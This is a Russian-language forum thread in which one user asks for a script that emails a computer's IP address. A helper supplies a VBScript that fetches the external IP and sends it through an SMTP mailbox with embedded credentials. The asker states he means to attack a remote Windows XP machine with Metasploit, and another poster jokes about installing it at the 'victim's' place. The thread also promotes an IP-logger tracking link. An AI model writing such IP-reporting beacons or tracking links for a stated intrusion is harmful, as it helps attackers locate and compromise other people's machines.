Подскажите как написать батник для отправки ip на электронную почту

Можно, вот подсказка

Code:

Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText
Msgbox res

 

ComradKraken: Подожди ну при вводе команды ipconfig я вижу ip адрес который определяется в http://speed-tester.info/.. Или к нему все равно нереально подключится из глобальной сети ?

 

смотря как у тебя инет подключен, я так понял без роутера

 

ComradKraken: Спасибо за подсказку Я ценю Ваш юмор (опытного пользователя ,программиста ),только для меня это набор символов и цифр. Я буду с месяц разбираться куда что вставлятьи писать .

 

чем подключаться собрался? сначала проверь открыт ли нужный порт извне, например через 2ip.ru

 

ComradKraken:Подключатся я буду к удаленному компьютеру с установленной windows xp с открытыми портами 135,443 (что обычно открыто) с помощь metalsploit .

 

Code:

Dim o
Dim res
Set o = CreateObject("Microsoft.XMLHTTP")
o.open "GET", "http://icanhazip.com", False
o.send
res = o.responseText

Dim RemoteSenderBoxName : RemoteSenderBoxName = "[email protected]" '  сюда адрес ящика который ты завёл для отправки
Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки
Dim MailReceiver : MailReceiver  = "[email protected]"     '  сюда адрес почты куда получать ип собрался

Set emailObj      = CreateObject("CDO.Message")

Set emailConfig = emailObj.Configuration
'Set emailConfig  = CreateObject("CDO.Configuration")

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName
emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd


emailObj.From     = RemoteSenderBoxName
emailObj.To       = MailReceiver

emailObj.Subject  = "ip addr"
emailObj.TextBody = res

emailConfig.Fields.Update

emailObj.Send

этот vbs вернет внешний IP

 

ComradKraken: Меня тут бл... обрадовали , у меня оказывается серый ip адрес ,как мне сказали ...к удаленной машине по данному айпи адресу не подключишься ... Это реально так ???? Или мой юный и доверчивый мозг на еб....

 

"серый" ты бы не увидел на этом ресурсе speed-tester,
а что насчет той удаленной машины, проверь второй скрипт что я скинул , он вернет "белый" IP

ЗЫ: я так понял ты через мобильный инет сидишь?

 

Вот у вас терпение!
Осталось только выехать на место и настроить скрипт на месте у потерпевшего.

 

ну что вы, я уже дал приказ мой вёртолёт прогревать

 

ComradKraken: спасибо за код внешний айпи отправляется .

 

ComradKraken: Спасибо еще раз за терпение ,и разжевывание У меня бы нервов не хватило бы

 

ибо сказано было "
ОТДАВАЙ, И К ТЕБЕ ВЕРНЁТСЯ
"

 

ComradKraken: нетне через мобильный

 

ComradKraken: Вот объясните мене юному и доверчивому как та девствиница человеку Разве ip адрес который постоянно меняется при каждом новом включении компьютера не является серым ?? Одни говорят он серый(и к нему не подключишься через глобальную сеть) Вы говорите не серый Так какой он ?

 

весь инет как бы состоит из подсетей соединённых друг с другом, твоя машина выходит в инет проходя через несколько подсетей провайдера, и в каждой этой подсети есть свои адреса и своя область видимости. Погугли про маршрутизацию в сетях, я сейчас ненмого занят

 

Чтоб узнать IP помогает http://iplogger.ru/
простите если не в тему

 

Octavian: что за разводящие ссылки и что тебе дал мой ip адрес

 

Чтоб узнать IP помогает http://iplogger.ru/
простите если не в тему

Прошу прочитать все